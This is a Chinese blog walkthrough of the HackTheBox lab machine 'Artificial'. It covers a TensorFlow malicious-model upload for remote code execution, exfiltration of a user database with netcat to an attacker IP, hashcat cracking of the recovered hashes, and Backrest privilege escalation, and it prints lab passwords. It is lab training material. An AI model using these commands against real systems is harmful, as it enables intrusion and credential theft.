HTB 赛季8靶场 - Artificial

瘾大侠

已于 2025-06-30 17:00:46 修改

阅读量494

点赞数 5

CC 4.0 BY-SA版权

分类专栏： HTB 靶场文章标签：安全 web安全网络安全

于 2025-06-30 16:48:03 首次发布

本文链接：https://blog.csdn.net/weixin_44368093/article/details/149026655

HTB 靶场专栏收录该内容

16 篇文章

订阅专栏

各位小伙伴们，最近我太忙啦，没有及时为和各位一起战斗，真实人生一大遗憾，我将速速补齐，请静候佳音！呜呜呜。

信息搜集扫描

在这里插入图片描述

首先进行nmap扫描

nmap -p- --min-rate 1000 -T4 10.10.11.74 -oA nmapfullscan -sV -sC

在这里插入图片描述

看到22和80端口情况，且我们不知道22端口版本，大概率只能从80端口尝试。
在这里插入图片描述

Tensorflow RCE 漏洞

修改host文件，重新访问网站

我们发现是个AI解决方案的公司介绍网站，其中有登录页面。让我们先创建和进入网站。
在这里插入图片描述

看到这里我们可以有两种操作，第一文件上传漏洞，第二AI投毒。我们看看这个上传接口是怎么个事儿。没有告诉我们上传点，可能走普通文件上传漏洞会有些困难。
![[Pasted image 20250630144356.png]]

所以我们尝试使用AI投毒，我们查看AI模型采用框架为tensorflow-cpu=2.13.1，这个tensorflow是存在问题，可能造成RCE（https://github.com/Splinter0/tensorflow-rce）

pip install -r requirements.txt

#修改文件payload
gedit exploit.py

#生成h5文件
python exploit.py

我们开启监听，上传h5文件

nc -lvnp 4444

在这里插入图片描述
![[Pasted image 20250630145313.png]]

Linux 通过Web网站的数据库提权

我们查看当前用户的信息，我们是app

$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
gael:x:1000:1000:gael:/home/gael:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash

我们快速使用linpeas.sh来进行信息收集，发现了users.db这个数据库文件，这将非常有价值。

nc -q 0 10.10.16.32 8888 < /home/app/app/instance/users.db

我们开始分析db文件，发现了用户的账密hash
![[Pasted image 20250630150655.png]]

我们快速提取所有hash

c99175974b6e192936d97224638a34f8
0f3d8c76530022670f1c6029eed09ccb
b606c5f5136170f15444251665638b36
bc25b1f80f544c0ab451c02a3dca9fc6
bf041041e57f1aff3be7ea1abd6129d0
63bd5fa08361af6493e9b5ddb0666752
53b76cc34444f5b08f9a0a333437e32d
cc03e747a6afbbcbf8be7668acfebee5
49f0bad299687c62334182178bfd75d8
50730021372f5c44900d4716451f3a49
0192023a7bbd73250516f069df18b500
32967804454ef7c6c18696b1df7116ec

开始离线破解获取账密

hashcat -a 0 -m 0 hash/sqlite3 /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt

53b76cc34444f5b08f9a0a333437e32d:sasasa                   
cc03e747a6afbbcbf8be7668acfebee5:test123                  
32967804454ef7c6c18696b1df7116ec:patryk                   
0192023a7bbd73250516f069df18b500:admin123                 
49f0bad299687c62334182178bfd75d8:sad                      
c99175974b6e192936d97224638a34f8:mattp005numbertwo        
bc25b1f80f544c0ab451c02a3dca9fc6:marwinnarak043414036  

gael/mattp005numbertwo

我们验证ssh登录

nxc ssh 10.10.11.74 -u gael -p mattp005numbertwo

![[Pasted image 20250630151224.png]]

窃取备份文件

我们登录gael

ssh gael@10.10.11.74

![[Pasted image 20250630151412.png]]

我们发现我们是sysadm用户，且该系统开放了5000和9898两个端口，这可能非常有趣，我们有权访问这个文件。

/var/backups/backrest_backup.tar.gz

在这里插入图片描述

backrest我再网上查了下，这是一个web网站备份解决方案，这可能意味着更高的权限。我们进入9898查看一下。先开启隧道

 ssh -L 9898:localhost:9898 gael@10.10.11.74 -fN

![[Pasted image 20250630160133.png]]

Hashcat破解密码

看来我们很需要这个密码，我们吸纳破解下密码，我们猜测是base64，先进行解密。

$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

接下来使用hashcat解密

hashcat -a 0 -m 3200 hash/backrest /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt

![[Pasted image 20250630160751.png]]

backrest_root/!@#$%^

Backrest提权

生成备份仓

vFqe+5DT9shQIWfvvy8geMw4oQgBXs9VMo8UY6R7xoE7NVmW

![[Pasted image 20250630161502.png]]

生成plan
![[Pasted image 20250630162912.png]]

生成备份
![[Pasted image 20250630162949.png]]

然后下载生成的备份即可

![[Pasted image 20250630163139.png]]

搞定！